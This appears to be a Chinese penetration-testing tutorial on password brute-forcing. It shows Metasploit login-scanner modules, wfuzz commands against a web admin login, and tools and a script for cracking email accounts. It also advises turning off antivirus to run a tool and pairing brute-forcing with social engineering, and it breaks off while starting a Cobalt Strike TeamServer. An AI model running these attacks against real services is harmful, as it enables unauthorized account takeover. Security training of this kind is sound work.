穷举篇

发布日期: 2021-08-03

文章字数: 1.3k

阅读时长: 5 分

穷举篇

metasploit 穷举模块的使用

metasploit 是一个渗透测试集成套件同样也有穷举模块

auxiliary/scanner/ftp/ftp_login

auxiliary/scanner/ssh/ssh_login

auxiliary/scanner/telnet/telnet_login

auxiliary/scanner/smb/smb_loginauxiliary/scanner/mssql/mssql_login

auxiliary/scanner/mysql/mysql_login

auxiliary/scanner/oracle/oracle_login

auxiliary/scanner/postgres/postgres_login

auxiliary/scanner/vnc/vnc_login

auxiliary/scanner/pcanywhere/pcanywhere_login

auxiliary/scanner/snmp/snmp_login

用法：

在终端下启动msf：

msfconsole

使用mssql_login模块：

use auxiliary/scanner/mssql/mssql_login

查看需要设置的参数：

show options

yes是必须设置的

设置参数：

set RHOSTS 192.168.0.127  设置目标ip
set STOP_ON_SUCCESS true  设置成功后结束穷举
set PASS_FILE /root/top100.txt  设置密码字典

再次查看参数看看是否设置进去了

启动：

run   或
exploit

成功穷举出来了

御剑 RDP 爆破工具的使用

在这里设置信息

start

俩个ip对应的账号密码都穷举出来了

wfuzz 多线程穷举密码

它是kali下的一个终端工具，相比较bp它可以使用百万字典，

Usage: wfuzz [options] -z payload,params

Examples:

wfuzz -c -z file,users.txt -z file,pass.txt –sc 200 http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z

wfuzz -c -z range,1-10 –hc=BBB http://www.site.com/FUZZ{something not there}wfuzz –script=robots -z list,robots.txt http://www.webscantest.com/FUZZ

wfuzz -c -z file,2019_top100.txt –sc 302 -u

http://www.c1moon.com/admin/index.php?action=login -d “user=admin&pw=FUZZ”

wfuzz -c -z file,2019_top100.txt –hc 404 –hh 1549 -u

http://www.c1moon.com/admin/index.php?action=login -d “user=admin&pw=FUZZ”

wfuzz -c -w /home/kali/csdnpass.txt –hc 404 –hh 1549 -u

http://www.c1moon.com/admin/index.php?action=login -d “user=admin&pw=FUZZ”

帮助文档：

接下来我们使用此工具

我们用百万字典来扫第一台靶机的c1后台登录

file,后不能有空格

wfuzz -c -z file,/root/csdnpass.txt --sc 302 -u http://www.c1moon.com/admin/index.php?action=login -d"user=admin&pw=FUZZ"

也可用-w替代-z

wfuzz -c -w /root/csdnpass.txt --sc 302 -u http://www.c1moon.com/admin/index.php?action=login -d"user=admin&pw=FUZZ"

邮箱密码的穷举

默认的收发邮件端口信息

发邮件 pop3 110 加密 995

收邮件 smtp 25 加密 465

企业独立搭建的邮服用 MailCracker 进行破解

开启此工具之前记得关下火绒，不然打不开

拿到账号密码后我们可以用foxmail软件登录

163 qq 邮箱用脚本和mailcracker穷举

163 qq 这些邮箱,并发会拦截，而且不能穷举太多。一般配合社工办法来穷举

脚本

我们把脚本用户密码放到一个文件夹下

使用命令开始穷举

python email.py 163 user.txt pass.txt

mailcracker工具

也穷举出来了

CobaltStrike TeamServer 口令暴力破解

Cobalt Strike 是一款超级好用的渗透测试工具，拥有多种协议主机上线方式，集成了提权，凭据导出，端口转发，socket 代理，office 攻击，文件捆绑，钓鱼等多种功能。同时，Cobalt Strike 还可以调用 Mimikatz 等其他知名工具，因此广受技术大佬的喜爱。

Cobalt Strike 是由美国 Red Team 开发，官网地址：http://cobaltstrike.com

这个工具的社区版是大家熟知的 Armitage(一个 MSF 的图形化界面工具)，而

Cobalt Strike 大家可以理解其为 Armitage 的商业版

关于 Cobalt Strike 的口令暴力破解

众所周知 Cobalt Strike 的工作方式是以 TeamServer 为核心，可多个 Cilent 的 CS（Server Cilent）架构。

启动teamserver